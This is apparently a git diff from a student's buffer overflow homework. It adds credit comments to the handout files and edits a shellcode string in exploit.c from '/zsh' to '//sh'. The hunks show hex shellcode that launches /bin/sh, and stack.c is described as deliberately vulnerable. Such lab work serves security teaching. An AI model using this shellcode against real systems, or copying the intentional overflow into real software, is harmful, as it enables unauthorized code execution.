diff --git a/hw2/badfile b/hw2/badfile
index fa315c7..68dbcd7 100644
Binary files a/hw2/badfile and b/hw2/badfile differ
diff --git a/hw2/call_shellcode.c b/hw2/call_shellcode.c
index bd777e8..87e18dc 100755
--- a/hw2/call_shellcode.c
+++ b/hw2/call_shellcode.c
@@ -1,3 +1,5 @@
+// Credit: given by our homework handout.
+
 /* call_shellcode.c */
 /*A program that creates a file containing code for launching shell*/
 
diff --git a/hw2/exploit.c b/hw2/exploit.c
index 362325d..de0954c 100755
--- a/hw2/exploit.c
+++ b/hw2/exploit.c
@@ -1,3 +1,5 @@
+// Credit: given by our homework handout and modified, documented in lab report.
+
 /* exploit.c */
 
 /* A program that creates a file containing code for launching shell*/
@@ -9,7 +11,7 @@
 char shellcode[]=
     "\x31\xc0" /* xorl %eax,%eax */
     "\x50" /* pushl %eax */
-    "\x68""/zsh" /* pushl $0x68732f2f */
+    "\x68""//sh" /* pushl $0x68732f2f */
     "\x68""/bin" /* pushl $0x6e69622f */
     "\x89\xe3" /* movl %esp,%ebx */
     "\x50" /* pushl %eax */
diff --git a/hw2/shellcode.c b/hw2/shellcode.c
index 16367dc..2838bc7 100755
--- a/hw2/shellcode.c
+++ b/hw2/shellcode.c
@@ -1,3 +1,5 @@
+// Credit: given by our homework handout.
+
 #include <stdio.h>
 #include <string.h>
 
diff --git a/hw2/stack.c b/hw2/stack.c
index dcc06d3..1dd8b6e 100755
--- a/hw2/stack.c
+++ b/hw2/stack.c
@@ -1,3 +1,5 @@
+// Credit: given in our homework handout.
+
 /* stack.c */
 
 /* This program has a buffer overflow vulnerability. */